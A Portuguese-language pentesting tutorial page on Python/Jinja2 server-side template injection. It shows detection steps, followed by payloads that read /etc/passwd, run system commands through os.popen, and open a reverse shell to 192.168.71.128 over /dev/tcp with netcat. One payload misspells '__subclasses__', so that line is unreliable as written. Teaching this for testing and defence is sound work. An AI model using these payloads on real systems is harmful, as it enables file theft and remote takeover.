> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/6cb531469f93ed3b4686d0de6ce6e2f9d88b3248" alt="" width="563"><figcaption></figcaption></figure>

Como saber se um site é potencialmente vulnerável a um ataque **SSTI** ? Se pudermos inserir um valor em um **entrada**, como no caso abaixo com a variável **usuário**, que é interpretado em um **saída**:

<figure><img src="/files/223ddcd4aee06276cd07f7611e7d9b1d22d031a2" alt="" width="563"><figcaption></figcaption></figure>

Com **whatweb**, se vemos que um servidor web usa **Python, Java, Jinja2, AngularJS...** como linguagem de programação e que isso não é sanitizado, ele pode conter esta vulnerabilidade:

<figure><img src="/files/eb163e9d9ddbcba62e769112f44140e0ea16d429" alt=""><figcaption></figcaption></figure>

Para testar isso com o **/{{ /}}**, testamos se ele interpreta o **cálculo**:

<figure><img src="/files/d72dbbfef0a51884d219240e175ad8434b727a6d" alt="" width="563"><figcaption></figcaption></figure>

Neste caso, ele o interpreta:

<figure><img src="/files/0d6d9292999f414bf63875dac4e34ea804b2e6f7" alt="" width="521"><figcaption></figcaption></figure>

Graças ao site [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), encontramos todas as [injeções possíveis](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Aqui estão alguns exemplos com **Python**: Obter acesso **qualquer recurso do sistema** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/18b13d66edea848a62ca2b3f1f6d53d29d2705c2" alt=""><figcaption></figcaption></figure>

Executar qualquer **comando** do sistema (**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/79f3277367d5092d060c7c75fee7394ecd1725e9" alt="" width="563"><figcaption></figcaption></figure>

Obter um **acesso** ao servidor:

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

Escutamos com **Netcat** e invadido :)

<figure><img src="/files/2c0792d7bb67e6f264617d7a40957c0cb27b9b05" alt=""><figcaption></figcaption></figure>


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